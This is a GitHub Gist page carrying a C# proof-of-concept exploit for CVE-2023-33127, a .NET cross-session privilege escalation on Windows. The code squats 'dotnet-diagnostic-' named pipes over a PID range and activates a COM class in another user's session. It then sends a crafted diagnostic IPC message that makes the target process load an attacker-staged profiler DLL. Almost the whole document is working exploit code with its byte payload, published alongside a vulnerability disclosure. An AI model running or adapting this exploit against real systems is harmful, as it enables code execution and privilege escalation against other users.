Last active
June 12, 2024 09:41
-
-
Save bohops/c7bf35ee7ff593a3a76014f7f87abb30 to your computer and use it in GitHub Desktop.
CVE-2023-33127: .NET Cross-Session Privilege Escalation Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// CVE-2023-33127 POC Exploit: .NET Cross-Session Privilege Escalation | |
// Ref: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Threading; | |
using System.Diagnostics; | |
using System.Security.Principal; | |
using System.IO.Pipes; | |
using System.IO; | |
using System.Security.AccessControl; | |
using System.Collections.Generic; | |
using System.Linq; | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
///// Configuration Variables | |
// Specify target session, the process that implements "dotnet-diagnostic-" named pipes & associated COM Class ID that can be activated in other sessions | |
int targetSession = 2; | |
string targetProc = "PhoneExperienceHost"; | |
string targetClsid = "7540C300-BE9B-4C0D-A335-F002F9AB73B7"; //""; | |
// Specify the PID range for starting "dotnet-diagnostic-" named pipes | |
List<List<int>> pidRanges = new List<List<int>>(); | |
pidRanges.Add(new List<int> { 500, 10000 }); | |
// Specify staging path for your "evil" "profiler" dll. This should be universally accessible | |
string payloadPath = @"c:\core\profiler.dll"; | |
//Specify the Diagnostic Port Instruction (Attach profiler DLL) | |
/* | |
44 4f 54 4e 45 54 5f 49 50 43 5f 56 31 00 5a 00 DOTNET_IPC_V1·Z· | |
03 01 00 00 0a 00 00 00 a0 8f 4e 0d 73 27 ab 4c ♥☺··◙··· □N♪s'«L | |
90 b1 2d 6e a0 d5 2f a9 15 00 00 00 63 00 3a 00 □±-n Õ/©§···c·:· | |
5c 00 63 00 6f 00 72 00 65 00 5c 00 70 00 72 00 \·c·o·r·e·\·p·r· | |
6f 00 66 00 69 00 6c 00 65 00 72 00 2e 00 64 00 o·f·i·l·e·r·.·d· | |
6c 00 6c 00 00 00 00 00 00 00 l·l······· | |
*/ | |
byte[] instruction = new byte[] { 0x44, 0x4f, 0x54, 0x4e, 0x45, 0x54, 0x5f, 0x49, 0x50, 0x43, 0x5f, 0x56, 0x31, 0x00, 0x5a, 0x00, 0x03, 0x01, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0xa0, 0x8f, 0x4e, 0x0d, 0x73, 0x27, 0xab, 0x4c, 0x90, 0xb1, 0x2d, 0x6e, 0xa0, 0xd5, 0x2f, 0xa9, 0x15, 0x00, 0x00, 0x00, 0x63, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5c, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2e, 0x00, 0x64, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; | |
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
// --- The target user should be a logged in administrator | |
Console.WriteLine(@"[+] Target session specified: {0}", targetSession); | |
try | |
{ | |
if (!File.Exists(payloadPath)) | |
{ | |
Console.WriteLine("[-] DLL Payload does not exist: " + payloadPath); | |
Environment.Exit(1); | |
} | |
} | |
catch | |
{ | |
Console.WriteLine(@"[-] Failed to copy files to staging path. Consider specifying a different directory root/path. Exiting..."); | |
Environment.Exit(3); | |
} | |
// --- Start named pipe servers in the given range. A wider pid_pipe_ range is more computationally expensive, but it will speed up exploitation time to increase the chance of a valid hit. | |
Console.WriteLine("[*] Entering named pipe start up loop (Note: This may take a few minutes)"); | |
foreach (var pidRange in pidRanges) | |
{ | |
Console.WriteLine(@"[*] Starting named pipe server threads: \\.\pipe\dotnet-diagnostic-{0}->{1} ", pidRange[0], pidRange[1]); | |
int min = pidRange[0]; | |
while (min <= pidRange[1]) | |
{ | |
try | |
{ | |
Thread t1 = new Thread(() => StartNamePipeServer("dotnet-diagnostic-" + min.ToString())); | |
t1.Start(); | |
} | |
catch | |
{ | |
Console.WriteLine(@"[-] Failed to start named pipe server: \\.\pipe\dotnet-diagnostic-{0}", min); | |
} | |
min += 1; | |
} | |
} | |
Console.WriteLine(@"[+] Started named pipe server threads"); | |
// --- Start control loop to monitor target process creation that fall within the configured PID range. When hit, trigger exploitation | |
Console.WriteLine("[*] Entering process monitor/exploit loop"); | |
Thread t2 = new Thread(() => MonitorTargetProcPids(targetProc, targetSession, pidRanges, payloadPath, instruction)); | |
t2.Start(); | |
Console.WriteLine("[+] Started process monitor/exploit loops for target process: {0}", targetProc); | |
// --- Start control loop for cross session activation of COM Class (for spawning target process) | |
Console.WriteLine("[*] Entering control loop for cross session activation of COM server/class: {0}", targetClsid); | |
while (true) | |
{ | |
Thread t3 = new Thread(() => ActivateCrossSessionCOM(targetClsid, targetSession)); | |
t3.Start(); | |
Thread.Sleep(20000); | |
t3.Abort(); | |
} | |
} | |
static void StartNamePipeServer(string pipeName) | |
{ | |
PipeSecurity pipeSecurity = new PipeSecurity(); | |
pipeSecurity.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), | |
PipeAccessRights.FullControl, | |
AccessControlType.Allow)); | |
NamedPipeServerStream pipeServer = new NamedPipeServerStream(pipeName, | |
PipeDirection.InOut, | |
NamedPipeServerStream.MaxAllowedServerInstances, | |
PipeTransmissionMode.Byte, | |
PipeOptions.Asynchronous, | |
1, | |
1, | |
pipeSecurity); | |
pipeServer.WaitForConnection(); | |
} | |
static void MonitorTargetProcPids(string targetProc, int targetSession, List<List<int>> pidRanges, string profilerPath, byte[] instruction) | |
{ | |
int lastPid = 0; | |
while (true) | |
{ | |
var procs = Process.GetProcesses(); | |
foreach (Process proc in procs) | |
{ | |
// Check to see if we get a hit on our target process outside of our session | |
if ((proc.ProcessName == targetProc) && (proc.SessionId == targetSession)) | |
{ | |
// Call .NET Core diagnostic client to attach the profiler DLL and exploit | |
foreach (var pidRange in pidRanges) | |
{ | |
if (Enumerable.Range(pidRange[0], pidRange[1] - pidRange[0] + 1).Contains(proc.Id)) | |
{ | |
Console.WriteLine(@"[+] New target process pid hit: {0}. Attempting to exploit...", proc.Id); | |
Thread.Sleep(1000); | |
//Send 3x for good measure | |
for (int x=0; x <= 2; x++) | |
{ | |
var client = new NamedPipeClientStream("dotnet-diagnostic-" + proc.Id.ToString()); | |
client.Connect(); | |
client.Write(instruction, 0, instruction.Length); | |
client.WaitForPipeDrain(); | |
client.Close(); | |
Thread.Sleep(2000); | |
} | |
Thread.Sleep(5000); | |
Console.WriteLine(@"[+] Exploit attempted. Check for evidence of execution in other session! Exiting..."); | |
Process.GetCurrentProcess().Kill(); | |
} | |
} | |
if (lastPid != proc.Id) | |
{ | |
Console.WriteLine(@"[!] New target process pid out of range: {0}", proc.Id); | |
lastPid = proc.Id; | |
} | |
} | |
} | |
} | |
} | |
// --- Continually activate the target COM object for spawning new process pids | |
public static void ActivateCrossSessionCOM(string targetClsid, int targetSession) | |
{ | |
//Invoke Cross Session COM activation with moniker bind | |
try | |
{ | |
Console.WriteLine("[*] Invoking cross session COM activation"); | |
object obj = Marshal.BindToMoniker(String.Format("session:{0}!new:{1}", targetSession, targetClsid)); | |
} | |
catch { } | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment